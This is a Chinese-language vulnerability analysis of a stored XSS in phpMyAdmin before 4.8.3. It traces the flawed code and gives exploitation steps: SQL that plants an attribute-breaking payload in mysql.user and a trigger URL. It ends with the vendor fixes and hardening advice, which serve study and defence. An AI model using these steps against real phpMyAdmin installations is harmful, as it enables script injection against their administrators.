phpmyadmin<4.8.3 XSS挖掘
字数 1048 2025-08-25 22:58:46

phpMyAdmin <4.8.3 XSS漏洞分析与利用

漏洞概述

phpMyAdmin在4.8.3版本之前存在一个存储型XSS漏洞,攻击者可以通过精心构造的SQL语句向mysql.user表中插入恶意数据,最终导致XSS攻击。该漏洞源于$GLOBALS全局变量的不安全使用和缺乏适当的输入过滤。

漏洞影响版本

phpMyAdmin < 4.8.3

环境准备

  1. 软件需求

    • phpMyAdmin 4.8.2
    • PHPStorm(用于调试)
    • phpstudy(包含xdebug)
  2. xdebug配置

    xdebug.remote_enable=1    # 开启远程调试
    xdebug.idekey='PHPSTORM'  # sessionkey
    xdebug.remote_port=9001   # 远程调试通信端口
    zend_extension = D:\phpStudy\PHPTutorial\php\php-7.2.1-nts\ext\php_xdebug-2.9.4-7.2-vc15-nts.dll
    

漏洞原理分析

关键代码点

  1. 全局变量覆盖
    /libraries/classes/Server/Privileges.php第3977行:

    foreach ($row as $key => $value) {
        $GLOBALS[$key] = $value;
    }
    

    这段代码将mysql.user表的查询结果直接赋值给$GLOBALS全局变量。

  2. SQL查询构造
    /libraries/classes/Server/Privileges.php第3966行:

    $user_host_condition = ' WHERE `User` = '
        . "'" . $GLOBALS['dbi']->escapeString($_REQUEST['old_username']) . "'"
        . ' AND `Host` = '
        . "'" . $GLOBALS['dbi']->escapeString($_REQUEST['old_hostname']) . "';";
    $row = $GLOBALS['dbi']->fetchSingleRow(
        'SELECT * FROM `mysql`.`user` ' . $user_host_condition
    );
    
  3. XSS触发点
    /libraries/classes/Navigation/NavigationTree.php第1272行:

    $retval .= '<select name="db" class="hide" id="navi_db_select">'
        . '<option value="" dir="' . $GLOBALS['text_dir'] . '">'
    

    这里直接使用了未过滤的$GLOBALS['text_dir']值。

漏洞利用链

  1. 通过server_privileges.php页面触发getDataForChangeOrCopyUser()函数
  2. 该函数从mysql.user表查询数据并赋值给$GLOBALS
  3. 程序结束时调用Response类的response()方法
  4. 最终通过NavigationTree类的renderDbSelect()方法输出未过滤的$GLOBALS['text_dir']

漏洞利用步骤

1. 修改mysql.user表结构

ALTER TABLE user ADD text_dir varchar(255);

2. 插入恶意数据

INSERT INTO `user` (`Host`, `User`, `Password`, `Select_priv`, `Insert_priv`, `Update_priv`, `Delete_priv`, `Create_priv`, `Drop_priv`, `Reload_priv`, `Shutdown_priv`, `Process_priv`, `File_priv`, `Grant_priv`, `References_priv`, `Index_priv`, `Alter_priv`, `Show_db_priv`, `Super_priv`, `Create_tmp_table_priv`, `Lock_tables_priv`, `Execute_priv`, `Repl_slave_priv`, `Repl_client_priv`, `Create_view_priv`, `Show_view_priv`, `Create_routine_priv`, `Alter_routine_priv`, `Create_user_priv`, `Event_priv`, `Trigger_priv`, `Create_tablespace_priv`, `ssl_type`, `max_questions`, `max_updates`, `max_connections`, `max_user_connections`, `plugin`, `authentication_string`, `text_dir`) 
VALUES ('127.0.0.1', 'test', '*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '', '0', '0', '0', '0', '', '', '\"><option dir=\"');

或者更新现有记录:

ALTER TABLE `user` CHANGE `xz` `text_dir` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_bin NULL DEFAULT NULL;
UPDATE `user` SET `text_dir` = '\"><option dir=\"' WHERE `user`.`Host` = '127.0.0.1' AND `user`.`User` = 'test';

3. 触发漏洞

访问以下URL(注意mode参数必须大于4):

http://127.0.0.1/phpMyAdmin-4.8.2/server_privileges.php?change_copy=aa&old_username=test&old_hostname=127.0.0.1&mode=5

修复方案

  1. phpMyAdmin 4.8.3修复

    • $_REQUEST替换为$_POST
    • common.inc.php中增加对POST请求的token校验:
      if ($_SERVER['REQUEST_METHOD'] == 'POST') {
          if (Core::isValid($_POST['token'])) {
              $token_provided = true;
              $token_mismatch = ! @hash_equals($_SESSION[' PMA_token '], $_POST['token']);
          }
      }
      
  2. phpMyAdmin 5.0.2修复

    • 在输出时增加了htmlspecialchars过滤:
      $options .= '<option value="'
          . htmlspecialchars($node->realName) . '"'
          . ' title="' . htmlspecialchars($title) . '"'
          . ' apath="' . $paths['aPath'] . '"'
          . ' vpath="' . $paths['vPath'] . '"'
          . ' pos="' . $this->pos . '"';
      

安全建议

  1. 及时升级到最新版本的phpMyAdmin
  2. 避免使用具有高权限的MySQL账户运行phpMyAdmin
  3. 定期审计数据库表结构,防止异常字段添加
  4. 对所有用户输入进行严格的过滤和转义
phpMyAdmin <4.8.3 XSS漏洞分析与利用 漏洞概述 phpMyAdmin在4.8.3版本之前存在一个存储型XSS漏洞,攻击者可以通过精心构造的SQL语句向 mysql.user 表中插入恶意数据,最终导致XSS攻击。该漏洞源于 $GLOBALS 全局变量的不安全使用和缺乏适当的输入过滤。 漏洞影响版本 phpMyAdmin < 4.8.3 环境准备 软件需求 : phpMyAdmin 4.8.2 PHPStorm(用于调试) phpstudy(包含xdebug) xdebug配置 : 漏洞原理分析 关键代码点 全局变量覆盖 : /libraries/classes/Server/Privileges.php 第3977行: 这段代码将 mysql.user 表的查询结果直接赋值给 $GLOBALS 全局变量。 SQL查询构造 : /libraries/classes/Server/Privileges.php 第3966行: XSS触发点 : /libraries/classes/Navigation/NavigationTree.php 第1272行: 这里直接使用了未过滤的 $GLOBALS['text_dir'] 值。 漏洞利用链 通过 server_privileges.php 页面触发 getDataForChangeOrCopyUser() 函数 该函数从 mysql.user 表查询数据并赋值给 $GLOBALS 程序结束时调用 Response 类的 response() 方法 最终通过 NavigationTree 类的 renderDbSelect() 方法输出未过滤的 $GLOBALS['text_dir'] 漏洞利用步骤 1. 修改mysql.user表结构 2. 插入恶意数据 或者更新现有记录: 3. 触发漏洞 访问以下URL(注意 mode 参数必须大于4): 修复方案 phpMyAdmin 4.8.3修复 : 将 $_REQUEST 替换为 $_POST 在 common.inc.php 中增加对POST请求的token校验: phpMyAdmin 5.0.2修复 : 在输出时增加了 htmlspecialchars 过滤: 安全建议 及时升级到最新版本的phpMyAdmin 避免使用具有高权限的MySQL账户运行phpMyAdmin 定期审计数据库表结构,防止异常字段添加 对所有用户输入进行严格的过滤和转义